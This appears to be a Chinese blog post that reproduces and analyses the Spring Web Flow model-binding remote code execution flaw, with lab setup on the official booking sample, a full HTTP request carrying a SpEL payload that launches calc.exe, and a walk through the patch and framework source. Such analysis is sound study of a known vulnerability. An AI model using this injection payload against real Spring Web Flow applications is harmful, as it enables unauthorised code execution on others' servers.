Spring系列一个冷门框架。session之下request之上的一个框架,定义多个流程,尤其适合需要多个步骤的业务,理论上可以简化开发,实际上很少有人选择。它将XML作为语言,这无疑是落后的
Spring Web Flow在Model的数据绑定上存在漏洞,导致RCE。由于没有明确指定相关Model的具体属性,导致从表单可以提交恶意的表达式从而被执行。漏洞出发条件比较苛刻
下载Spring官方示例:https://github.com/spring-projects/spring-webflow-samples
使用其中的booking-mvc项目,打开后发现是Maven+JPA的项目。启动比较麻烦,先git checkout到2.3.x分支,导入IDEA处理完依赖后,配置Tomcat,通过Tomcat启动war包
(IDEA比较方便,配好Tomcat指定Deployment即可)

访问localhost:8080如下

修改配置文件:src\main\webapp\WEB-INF\config\webflow-config.xml
xxxxxxxxxx<bean id="mvcViewFactoryCreator" class="org.springframework.webflow.mvc.builder.MvcViewFactoryCreator"> <property name="viewResolvers" ref="tilesViewResolver"/> <property name="useSpringBeanBinding" value="false" /></bean>进入系统后,根据左边提供的用户名密码登录一个。找任意一个酒店下单,在Confirm按钮点击前使用burp抓包(如果burp无法firefox在localhost的包,尝试进入about:config,搜索下面这个配置network.proxy.allow_hijacking_localhost并修改为true)

修改请求,加入payload后发送,成功启动计算器
xxxxxxxxxxPOST /hotels/booking?execution=e2s2 HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 75Origin: http://localhost:8080Connection: closeReferer: http://localhost:8080/hotels/booking?execution=e2s2Cookie: JSESSIONID=A8E8F1FBCB4E117590C15C6262EA55DDUpgrade-Insecure-Requests: 1
_eventId_confirm=1&_(new+java.lang.ProcessBuilder("calc.exe")).start()=test
这个漏洞如果从正面角度分析,比较困难,所以先在github找到补丁:https://github.com/spring-projects/spring-webflow/commit/57f2ccb66946943fbf3b3f2165eac1c8eb6b1523
分析后发现替换了addEmptyValueMapping方法的解析器为BeanWrapperExpressionParser

这里通过调用关系我们可以大概的搞明白Spring Web Flow的执行顺序和流程,由 FlowController决定将请求交给那个handler去执行具体的流程。这里我们需要知道当用户请求有视图状态处理时,会决定当前事件下一个执行的流程,同时对于配置文件中我们配置的view-state元素,如果我们指定了数据的 model,那么它会自动进行数据绑定,xml 结构如下(这里以官方的example中的 book 项目为例子)

其中数据绑定部分的代码如下,跟踪后发现其中addModelBindings和addDefaultMappings都间接调用了addEmptyValueMapping方法
xxxxxxxxxxprotected MappingResults bind(Object model) { if (logger.isDebugEnabled()) { logger.debug("Binding to model"); } DefaultMapper mapper = new DefaultMapper(); ParameterMap requestParameters = requestContext.getRequestParameters(); if (binderConfiguration != null) { addModelBindings(mapper, requestParameters.asMap().keySet(), model); } else { addDefaultMappings(mapper, requestParameters.asMap().keySet(), model); } return mapper.map(requestParameters, model);}addEmptyValueMapping方法如下,其中Expression就是SPEL。如果传入的field是恶意代码,经过getValueType就会造成RCE
xxxxxxxxxxprotected void addEmptyValueMapping(DefaultMapper mapper, String field, Object model) { ParserContext parserContext = new FluentParserContext().evaluate(model.getClass()); Expression target = expressionParser.parseExpression(field, parserContext); try { Class propertyType = target.getValueType(model); Expression source = new StaticExpression(getEmptyValue(propertyType)); DefaultMapping mapping = new DefaultMapping(source, target); if (logger.isDebugEnabled()) { logger.debug("Adding empty value mapping for parameter '" + field + "'"); } mapper.addMapping(mapping); } catch (EvaluationException e) { }}之前分析有两处调用addEmptyValueMapping,分析传入的field参数
xxxxxxxxxxprotected void addModelBindings(DefaultMapper mapper, Set parameterNames, Object model) { Iterator it = binderConfiguration.getBindings().iterator(); while (it.hasNext()) { Binding binding = (Binding) it.next(); String parameterName = binding.getProperty(); if (parameterNames.contains(parameterName)) { addMapping(mapper, binding, model); } else { if (fieldMarkerPrefix != null && parameterNames.contains(fieldMarkerPrefix + parameterName)) { addEmptyValueMapping(mapper, parameterName, model); } } }}protected void addDefaultMappings(DefaultMapper mapper, Set parameterNames, Object model) { for (Iterator it = parameterNames.iterator(); it.hasNext();) { String parameterName = (String) it.next(); if (fieldMarkerPrefix != null && parameterName.startsWith(fieldMarkerPrefix)) { String field = parameterName.substring(fieldMarkerPrefix.length()); if (!parameterNames.contains(field)) { addEmptyValueMapping(mapper, field, model); } } else { addDefaultMapping(mapper, parameterName, model); } }}首先分析addModelBindings,其中关键是binderConfiguration,断点调试发现这里是xml配置中硬编码的,也就是无法修改的部分。放弃分析这里,前往addDefaultMappings函数

之前要提到bind方法并不是没有意义的,其中这段代码正是核心,只有binderConfiguration为空,也就是xml的binder节点为空的时候,才会调用addDefaultMappings方法
xxxxxxxxxx if (binderConfiguration != null) { addModelBindings(mapper, requestParameters.asMap().keySet(), model); } else { addDefaultMappings(mapper, requestParameters.asMap().keySet(), model); }其中reviewBooking的view-state中不存在binder节点,意味着binderConfiguration为空,成功调用到addDefaultMappings(reviewBooking翻译过来大概是确认预定,也就是上文复现中的Confirm确认按钮,所以可以定位到这里)
xxxxxxxxxx<view-state id="reviewBooking" model="booking"> <on-render> <render fragments="body" /> </on-render> <transition on="confirm" to="bookingConfirmed"> <evaluate expression="bookingService.persistBooking(booking)" /> </transition> <transition on="revise" to="enterBookingDetails" /> <transition on="cancel" to="cancel" /></view-state>在addDefaultMappings这一段,fieldMarkerPrefix是“”,所以我们POST的key以开头,substring后正好是payload(new+java.lang.ProcessBuilder("calc.exe")).start(),而parameterNames是表单传的value,value中不存在payload,调用addEmptyValueMapping
xxxxxxxxxxif (fieldMarkerPrefix != null && parameterName.startsWith(fieldMarkerPrefix)) { String field = parameterName.substring(fieldMarkerPrefix.length()); if (!parameterNames.contains(field)) { addEmptyValueMapping(mapper, field, model); }}关于一开始为什么要将useSpringBeanBinding设置为false,我们返回addEmptyValueMapping org\springframework\webflow\mvc\builder\MvcViewFactoryCreator.java
xxxxxxxxxxpublic ViewFactory createViewFactory(Expression viewId, ExpressionParser expressionParser, ConversionService conversionService, BinderConfiguration binderConfiguration, Validator validator) { if (useSpringBeanBinding) { expressionParser = new BeanWrapperExpressionParser(conversionService); } AbstractMvcViewFactory viewFactory = createMvcViewFactory(viewId, expressionParser, conversionService, binderConfiguration); if (StringUtils.hasText(eventIdParameterName)) { viewFactory.setEventIdParameterName(eventIdParameterName); } if (StringUtils.hasText(fieldMarkerPrefix)) { viewFactory.setFieldMarkerPrefix(fieldMarkerPrefix); } viewFactory.setValidator(validator); return viewFactory;}如果useSpringBeanBinding为true,使用BeanWrapperExpressionParser,具体的解析方法中会判断allowDelimitedEvalExpressions,这个值不可控并且默认是false,会直接抛出异常
xxxxxxxxxxif (!allowDelimitedEvalExpressions) { throw new ParserException( expressionString, "The expression '" + expressionString + "' being parsed is expected be a standard OGNL expression. Do not attempt to enclose such expression strings in ${} delimiters--this is redundant. If you need to parse a template that mixes literal text with evaluatable blocks, set the 'template' parser context attribute to true.", null);}现在看修复方案,应该比较清晰了,直接规定了使用BeanWrapperExpressionParser